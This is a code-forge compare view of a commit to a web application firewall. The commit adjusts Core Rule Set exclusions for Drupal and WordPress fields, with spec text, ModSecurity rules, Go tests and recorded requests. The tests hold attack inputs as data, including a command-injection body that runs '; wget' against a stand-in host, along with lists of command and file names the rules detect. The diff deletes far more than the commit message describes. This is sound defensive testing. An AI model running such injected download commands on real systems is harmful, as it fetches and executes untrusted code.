sneak/smallwebwaf
1
0 Fork 0
Code Issues 21 Pull Requests 6 Actions Packages Projects Releases Wiki Activity

Compare commits

base: sneak/smallwebwaf:7e97e905eb31944eece0debc26568a9509d7b261
sneak/smallwebwaf:main sneak/smallwebwaf:issue-281-skip-bodiless-second-inspection sneak/smallwebwaf:issue-240-nextcloud sneak/smallwebwaf:next sneak/smallwebwaf:issue-211-viper-config sneak/smallwebwaf:issue-220-apps-by-hostname sneak/smallwebwaf:issue-216-oci-labels sneak/smallwebwaf:readme-rewrite-155
sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
..
compare: sneak/smallwebwaf:fa72d8d62afa888c72abe0d3a59aa684c6a0e578
sneak/smallwebwaf:issue-281-skip-bodiless-second-inspection sneak/smallwebwaf:issue-240-nextcloud sneak/smallwebwaf:next sneak/smallwebwaf:issue-211-viper-config sneak/smallwebwaf:issue-220-apps-by-hostname sneak/smallwebwaf:issue-216-oci-labels sneak/smallwebwaf:main sneak/smallwebwaf:readme-rewrite-155
sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
1 Commits
7e97e905eb .. fa72d8d62a
Author SHA1 Message Date
sneak fa72d8d62a Core Rule Set: more of Drupal's ordinary fields pass (closes #244)
check / check (push) Successful in 5m5s
Details 
Names, searches, addresses and the page to return to on more Drupal
paths skip the rules that misfire on them: 930120, 932120, 932250 and
932260, plus 932230 and 932235 on destination only. The oEmbed url
skips only 930120 and 932120. Every Drupal path may carry a language
prefix such as /fr. Requests recorded from Drupal 11.4.11 with plain
words, python3, powershell, ls -la and .htaccess are added to the
test data; tests show attacks and "; wget ..." still refused on each
new field.

Model: opus-5-5
 2026-11-09 20:19:05 +00:00
7 changed files with 51 additions and 402 deletions
Expand all files Collapse all files

No files matched your search

README.md
+3 -3
View File
@@ -586,9 +586,9 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
HTTP and sign-in through Git Credential Manager on a code forge, and saving a HTTP and sign-in through Git Credential Manager on a code forge, and saving a
post from the block editor on WordPress. On gitea's own paths, its searches, post from the block editor on WordPress. On gitea's own paths, its searches,
file names and branch names get through too. On WordPress's own paths, its file names and branch names get through too. On WordPress's own paths, its
searches, names and file names do. On Drupal's own paths, the page to return searches and file names do. On Drupal's own paths, the page to return to, its
to, its searches and its names get through too. No setting undoes the changes; searches and its names get through too. No setting undoes the changes; "Attack
"Attack detection" in [`SPEC.md`](SPEC.md) lists them. detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded - These apps work out of the box at the default settings, and their recorded
ordinary requests pass the Core Rule Set: ordinary requests pass the Core Rule Set:
- gitea; - gitea;
SPEC.md
+8 -41
View File
@@ -871,7 +871,6 @@ changes hold in front of every app, and no setting undoes them:
- the searches `s`, `search`, `q` and `term`; - the searches `s`, `search`, `q` and `term`;
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
and `stylesheet`; and `stylesheet`;
- the name of a plugin's settings page in `page`;
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer` - the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
and `_wp_http_referer`. and `_wp_http_referer`.
- On every REST API route under `/wp/v2/` and on the route - On every REST API route under `/wp/v2/` and on the route
@@ -883,18 +882,6 @@ changes hold in front of every app, and no setting undoes them:
(932235), because an address repeats the search it came from. The other (932235), because an address repeats the search it came from. The other
fields of the groups keep that rule. fields of the groups keep that rule.
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
of PowerShell commands and command names (932120, 932260):
- the name of a template in `p` and `postId` of the site editor;
- the name of a plugin to install in `slug`.
WordPress writes these names as slugs, such as `htaccess` and `ls-la`.
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
(930120, 932120). The block editor's link previews and embeds send an
address in this field.
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given - `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
without arguments (932340). The media list's own address ends in `&ps`. without arguments (932340). The media list's own address ends in `&ps`.
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, - `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
@@ -908,14 +895,6 @@ changes hold in front of every app, and no setting undoes them:
- `newcontent` of a plugin's or a theme's file saved from its editor, - `newcontent` of a plugin's or a theme's file saved from its editor,
which is PHP. which is PHP.
- `pwd` when signing in, for the list of system files (930120). - `pwd` when signing in, for the list of system files (930120).
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
route under `/wp/v2/`, for the rules on system files and commands
(930120, 932120, 932250, 932260).
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
the lists of PowerShell commands and command names (932120, 932260).
- `url` on `/wp-comments-post.php`, the address of a commenter's site,
for the lists of system files and PowerShell commands (930120,
932120).
Elsewhere this change does not apply. The paths are those of WordPress at Elsewhere this change does not apply. The paths are those of WordPress at
the site root. An app other than WordPress that serves one of them must the site root. An app other than WordPress that serves one of them must
@@ -928,12 +907,9 @@ changes hold in front of every app, and no setting undoes them:
- On every page under `/admin`: `title`, `name`, `user`, `filename`, - On every page under `/admin`: `title`, `name`, `user`, `filename`,
`filemime`, `info`, `subject`, `author_name`, `search`, `q` and `filemime`, `info`, `subject`, `author_name`, `search`, `q` and
`destination`. `destination`.
- `destination` on the pages Drupal links to with one, such as these: - `destination` on the pages Drupal links to with one, such as
- `/node/1/edit`; `/node/1/edit`, `/user/login`, `/node/1/revisions/2/revert`,
- `/user/login`; `/block/add/basic` and `/big_pipe/no-js`.
- `/node/1/revisions/2/revert`;
- `/block/add/basic`;
- `/big_pipe/no-js`.
- `keys` on `/search` and the pages under it. - `keys` on `/search` and the pages under it.
- `q` on these autocompletes: - `q` on these autocompletes:
- `/entity_reference_autocomplete/`; - `/entity_reference_autocomplete/`;
@@ -962,30 +938,21 @@ changes hold in front of every app, and no setting undoes them:
- the tag's name and description; - the tag's name and description;
- the block description and body; - the block description and body;
- the subject and message of a contact message. - the subject and message of a contact message.
- These fields through JSON:API, for the same four rules: - `title`, `subject`, `body.summary`, `name`, `revision_log`, `info` and
- `title`; `description.value` through JSON:API, for the same four rules.
- `subject`;
- `body.summary`;
- `name`;
- `revision_log`;
- `info`;
- `description.value`.
- The title saved through Drupal's JSON format on `/node/{id}`, for the same - The title saved through Drupal's JSON format on `/node/{id}`, for the same
four rules. four rules.
- The body and comment body on the node and comment forms and through - The body and comment body on the node and comment forms and through
JSON:API, which hold HTML and any code it shows. JSON:API, which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when signing up, editing an account and commenting without an - `name` and `mail` when signing up, editing an account and commenting
account, for the same four rules. without an account, for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
when the query has a parameter of the same name. when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is site root, with or without a language prefix such as `/fr`. An app other
any first path segment of two or three lowercase letters, optionally
followed by a hyphen and more letters, so `/api` counts too. An app other
than Drupal that serves one of them must check these fields itself. than Drupal that serves one of them must check these fields itself.
The parameter and cookie names in these changes are matched without regard to The parameter and cookie names in these changes are matched without regard to
internal/coreruleset/coreruleset_test.go
+24 -212
View File
@@ -2,7 +2,6 @@ package coreruleset_test
import ( import (
"encoding/json" "encoding/json"
"fmt"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"net/netip" "net/netip"
@@ -565,15 +564,8 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
} }
} }
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the // wpLogin is WordPress's sign-in path.
// REST API routes of a post and of the tags. const wpLogin = "/wp-login.php"
const (
wpLogin = "/wp-login.php"
wpComment = "/wp-comments-post.php"
wpAjax = "/wp-admin/admin-ajax.php"
wpPost = "/wp-json/wp/v2/posts/1"
wpTags = "/wp-json/wp/v2/tags"
)
// recordedRequest is a line of a file of recorded requests in testdata. // recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct { type recordedRequest struct {
@@ -673,15 +665,6 @@ func wordpressAttackTargets(attack string) []string {
"/wp-admin/plugin-editor.php?plugin=" + attack, "/wp-admin/plugin-editor.php?plugin=" + attack,
"/wp-admin/plugins.php?plugin=" + attack, "/wp-admin/plugins.php?plugin=" + attack,
"/wp-admin/update.php?plugin=" + attack, "/wp-admin/update.php?plugin=" + attack,
"/wp-admin/admin.php?page=" + attack,
"/wp-admin/options-general.php?page=" + attack,
"/wp-admin/tools.php?page=" + attack,
"/wp-admin/site-editor.php?p=" + attack,
"/wp-admin/site-editor.php?postId=" + attack,
"/wp-admin/admin-ajax.php?slug=" + attack,
"/wp-json/wp-block-editor/v1/url-details?url=" + attack,
"/wp-json/oembed/1.0/proxy?url=" + attack,
"/?rest_route=/oembed/1.0/proxy&url=" + attack,
} }
} }
@@ -723,8 +706,8 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
body := "id=" + attack body := "id=" + attack
for _, target := range []string{ for _, target := range []string{
wpLogin, wpLogin,
wpComment, "/wp-comments-post.php",
wpAjax, "/wp-admin/admin-ajax.php",
"/wp-admin/post.php", "/wp-admin/post.php",
"/wp-admin/options.php", "/wp-admin/options.php",
} { } {
@@ -734,52 +717,6 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Errorf("POST %s %q let through: %+v", target, body, got) t.Errorf("POST %s %q let through: %+v", target, body, got)
} }
} }
// In the body fields that skip some rules.
posts := append(wordpressBodyFields(attack),
wordpressBodyField{wpComment, formData, "url=" + attack})
for _, p := range posts {
got, _ := inspectBody(t, bodies,
request{http.MethodPost, p.target, []string{p.contentType}}, p.body)
if got.Score < threshold {
t.Errorf("POST %s %q let through: %+v", p.target, p.body, got)
}
}
}
}
// wordpressBodyField is a POST to target that sends body, a field whose
// name skips some rules there, with the Content-Type header contentType.
type wordpressBodyField struct{ target, contentType, body string }
// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to
// install and in each JSON field of a REST API save that skips some rules.
func wordpressBodyFields(encoded string) []wordpressBodyField {
value, _ := url.QueryUnescape(encoded)
return []wordpressBodyField{
{wpAjax, formData, "action=install-plugin&slug=" + encoded},
{wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)},
{wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)},
{wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)},
{wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)},
}
}
// wordpressWords returns words that ordinary WordPress names and searches
// hold, each with the rule it misfired on.
func wordpressWords() []struct {
value string
rule int
} {
return []struct {
value string
rule int
}{
{".htaccess", 930120},
{"powershell", 932120},
{"ls -la", 932250},
{"python3", 932260},
} }
} }
@@ -862,7 +799,7 @@ func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three // TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
// groups in wordpress.conf at one target of its group, against the same // groups in wordpress.conf at one target of its group, against the same
// values in a field no group names, then one field at each other target of // values in a field no group names, then one field at each other target of
// the group, then the names in the first group that skip fewer rules. // the group.
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
t.Parallel() t.Parallel()
@@ -873,6 +810,16 @@ func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
values := []struct {
value string
rule int
}{
{".htaccess", 930120},
{"powershell", 932120},
{"ls+-la", 932250},
{"python3", 932260},
}
for _, group := range []struct { for _, group := range []struct {
target string target string
fields []string fields []string
@@ -882,7 +829,7 @@ func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
"/wp-admin/options.php?", "/wp-admin/options.php?",
[]string{ []string{
"s", "search", "q", "term", "tag", "category_name", "plugin", "s", "search", "q", "term", "tag", "category_name", "plugin",
"checked%5B%5D", "theme", "stylesheet", "page", "checked%5B%5D", "theme", "stylesheet",
}, },
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"}, []string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
}, },
@@ -899,12 +846,11 @@ func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{}) wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
} }
for _, v := range wordpressWords() { for _, v := range values {
value := url.QueryEscape(v.value) wantResult(t, crs, get(group.target+"id="+v.value), matched(v.rule))
wantResult(t, crs, get(group.target+"id="+value), matched(v.rule))
for _, field := range slices.Concat(group.fields, group.addressFields) { for _, field := range slices.Concat(group.fields, group.addressFields) {
wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{}) wantResult(t, crs, get(group.target+field+"="+v.value), coreruleset.Result{})
} }
} }
} }
@@ -923,19 +869,6 @@ func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
} { } {
wantResult(t, crs, get(target), coreruleset.Result{}) wantResult(t, crs, get(target), coreruleset.Result{})
} }
// The names WordPress writes as slugs skip only 932120 and 932260.
for _, field := range []string{"p", "postId", "slug"} {
for _, v := range wordpressWords() {
want := coreruleset.Result{}
if v.rule == 930120 || v.rule == 932250 {
want = matched(v.rule)
}
target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value)
wantResult(t, crs, get(target), want)
}
}
} }
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) { func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
@@ -958,34 +891,9 @@ func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T
"/?tag=", "/?tag=",
"/wp-admin/edit.php?tag=", "/wp-admin/edit.php?tag=",
"/wp-admin/admin-ajax.php?q=", "/wp-admin/admin-ajax.php?q=",
"/wp-admin/admin.php?page=",
"/wp-admin/options-general.php?page=",
"/wp-admin/tools.php?page=",
"/wp-admin/site-editor.php?p=",
"/wp-admin/site-editor.php?postId=",
"/wp-admin/admin-ajax.php?slug=",
} { } {
wantResult(t, crs, get(target+command), matched(932235)) wantResult(t, crs, get(target+command), matched(932235))
} }
bodies := readingBodiesUpTo64K(t)
for _, p := range wordpressBodyFields(command) {
r := request{http.MethodPost, p.target, []string{p.contentType}}
wantBody(t, bodies, r, p.body, matched(932235), p.body)
}
// The addresses of a link preview, an embed and a commenter's site keep
// 932260 too.
for _, target := range []string{
"/wp-json/wp-block-editor/v1/url-details?url=",
"/wp-json/oembed/1.0/proxy?url=",
} {
wantResult(t, crs, get(target+command), matched(932235, 932260))
}
comment := request{http.MethodPost, wpComment, []string{formData}}
wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command)
} }
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule // TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
@@ -1038,24 +946,14 @@ func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260}, {"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120}, {"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
{"/wp-admin/update.php?plugin=docker-helper", 932260}, {"/wp-admin/update.php?plugin=docker-helper", 932260},
{"/wp-admin/admin.php?page=docker-helper", 932260},
{"/wp-admin/options-general.php?page=powershell-tools", 932120},
{"/wp-admin/tools.php?page=ls+-la", 932250},
{"/wp-admin/tools.php?page=.htaccess", 930120},
{"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260},
{"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120},
{"/wp-admin/admin-ajax.php?slug=docker-helper", 932260},
{"/wp-json/wp-block-editor/v1/url-details?url=" +
"http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120},
{"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120},
} { } {
_, query, _ := strings.Cut(tt.target, "?") _, query, _ := strings.Cut(tt.target, "?")
wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule)) wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
} }
} }
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and // TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term and the
// the header X-HTTP-Method-Override at the REST API's addresses. // header X-HTTP-Method-Override at the REST API's addresses.
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) { func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
t.Parallel() t.Parallel()
@@ -1083,24 +981,6 @@ func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
wantChange(t, crs, get(directory+"?term=ls+-la"), wantChange(t, crs, get(directory+"?term=ls+-la"),
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250)) get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
// The block editor's link previews and embeds: url skips only 930120 and
// 932120.
for _, target := range []string{
"/wp-json/wp-block-editor/v1/url-details?url=",
"/?rest_route=/wp-block-editor/v1/url-details&url=",
"/wp-json/oembed/1.0/proxy?url=",
"/?rest_route=/oembed/1.0/proxy&url=",
} {
for _, v := range wordpressWords() {
want := coreruleset.Result{}
if v.rule == 932250 || v.rule == 932260 {
want = matched(v.rule)
}
wantResult(t, crs, get(target+url.QueryEscape(v.value)), want)
}
}
// The header X-HTTP-Method-Override at the address on the site root, // The header X-HTTP-Method-Override at the address on the site root,
// and off the REST API. // and off the REST API.
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride} headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
@@ -1122,87 +1002,19 @@ func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
wantResult(t, crs, wantResult(t, crs,
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)), get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
matched(941180)) matched(941180))
wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260))
wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120))
}
// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON
// fields of a REST API save, a plugin to install and a commenter's address,
// against the same values in another field and off their paths.
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := readingBodiesUpTo64K(t)
for _, v := range wordpressWords() {
for _, field := range []string{"title", "excerpt", "name"} {
body := fmt.Sprintf(`{%q:%q}`, field, v.value)
for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") {
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
wantBody(t, crs, r, body, coreruleset.Result{}, body)
}
r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}}
wantBody(t, crs, r, body, matched(v.rule), body)
}
other := fmt.Sprintf(`{"description":%q}`, v.value)
r := request{http.MethodPost, wpTags, []string{jsonBody}}
wantBody(t, crs, r, other, matched(v.rule), other)
}
// A post's slug and a plugin to install skip only 932120 and 932260.
post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
install := request{http.MethodPost, wpAjax, []string{formData}}
for _, v := range wordpressWords() {
want := coreruleset.Result{}
if v.rule == 930120 || v.rule == 932250 {
want = matched(v.rule)
}
slug := fmt.Sprintf(`{"slug":%q}`, v.value)
wantBody(t, crs, post, slug, want, slug)
plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value)
wantBody(t, crs, install, plugin, want, plugin)
}
comment := request{http.MethodPost, wpComment, []string{formData}}
elsewhere := request{http.MethodPost, "/example/things", []string{formData}}
// A commenter's address skips the two rules that refused an address.
for _, v := range []struct {
address string
rule int
}{
{"http://blog.example/.htaccess", 930120},
{"http://blog.example/powershell-basics/", 932120},
} {
body := "url=" + url.QueryEscape(v.address)
wantBody(t, crs, comment, body, coreruleset.Result{}, body)
wantBody(t, crs, elsewhere, body, matched(v.rule), body)
author := "author=" + url.QueryEscape(v.address)
wantBody(t, crs, comment, author, matched(v.rule), author)
}
// The rules on Unix commands keep it.
wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3")
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
} }
func TestWordPressExclusionsAreNarrow(t *testing.T) { func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
save = "/wp-json/wp/v2/posts/1"
offREST = "/api/posts/1" offREST = "/api/posts/1"
length = "Content-Length: 2" length = "Content-Length: 2"
) )
crs := readingBodiesUpTo64K(t) crs := readingBodiesUpTo64K(t)
saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}} saving := request{http.MethodPost, save, []string{jsonBody, wordpressOverride}}
content := `{"content":"` + wordpressBlock + `"}` content := `{"content":"` + wordpressBlock + `"}`
wantBody(t, crs, saving, content, coreruleset.Result{}, content) wantBody(t, crs, saving, content, coreruleset.Result{}, content)
@@ -1217,7 +1029,7 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
// The header X-HTTP-Method-Override is refused off the REST API. // The header X-HTTP-Method-Override is refused off the REST API.
defaults := atDefaults(t) defaults := atDefaults(t)
wantResult(t, defaults, wantResult(t, defaults,
request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}}, request{http.MethodPost, save, []string{jsonBody, length, wordpressOverride}},
coreruleset.Result{}) coreruleset.Result{})
wantResult(t, defaults, wantResult(t, defaults,
request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}}, request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
internal/coreruleset/drupal.conf
+7 -11
View File
@@ -4,23 +4,20 @@
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An # Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter # exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. Rule 900805 # of that name, so it matters only while SWW_WAF_BODY_LIMIT is set.
# is the exception: it removes the rules from name in a body even when the
# query has name.
# #
# Each path may start with a language prefix, such as /fr in # Each path may start with a language prefix, such as /fr in
# /fr/admin/content. The prefix is two or three letters, then optionally a # /fr/admin/content. The prefix is two or three letters, then optionally a
# hyphen and more letters, as in /pt-br. # hyphen and more letters, as in /pt-br.
# #
# Four rules read a search or a name as a command or a system file: # Four rules read a search or a name as a command or a system file. Each query
# exclusion below removes these four, and only these, from its fields:
# 930120: .htaccess # 930120: .htaccess
# 932120: powershell # 932120: powershell
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Each query exclusion below removes these four from its fields, with two # Two more misfire on destination, the address of a page of results, so
# exceptions. Rule 900806 removes only 930120 and 932120 from url. Two more # destination alone skips them:
# rules misfire on destination, the address of a page of results, so
# destination alone skips them too:
# 932230: ls -la # 932230: ls -la
# 932235: python3 # 932235: python3
@@ -185,15 +182,14 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
# A person's name and email address, when signing up, when editing an # A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused # account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address # signing up, and python3@example.com refused saving an account.
# keeps 932250, which no recorded address set off.
SecRule REQUEST_FILENAME \ SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \ "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \
"id:900814,phase:1,pass,nolog,chain" "id:900814,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \ SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\ "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/"
# Saving a tag, a custom block or a contact message sends its name, # Saving a tag, a custom block or a contact message sends its name,
internal/coreruleset/drupal_test.go
+1 -29
View File
@@ -3,7 +3,6 @@ package coreruleset_test
import ( import (
"net/http" "net/http"
"net/url" "net/url"
"slices"
"testing" "testing"
) )
@@ -16,9 +15,6 @@ const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page. // drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login" const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalTagForm is Drupal's form for a new tag. // drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add" const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
@@ -173,14 +169,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
} }
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"` + attack + `","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
} }
} }
@@ -282,22 +270,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
} }
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
} }
// drupalHardValues are the words that name commands and files, as a form // drupalHardValues are the words that name commands and files, as a form
@@ -338,7 +310,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Fatal(err) t.Fatal(err)
} }
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} r := request{http.MethodPost, "/user/login?_format=json", []string{jsonBody}}
body := `{"name":"example","pass":"` + word + `"}` body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
internal/coreruleset/testdata/wordpress-requests.txt
Vendored
-61
View File
@@ -485,64 +485,3 @@
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""} {"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", 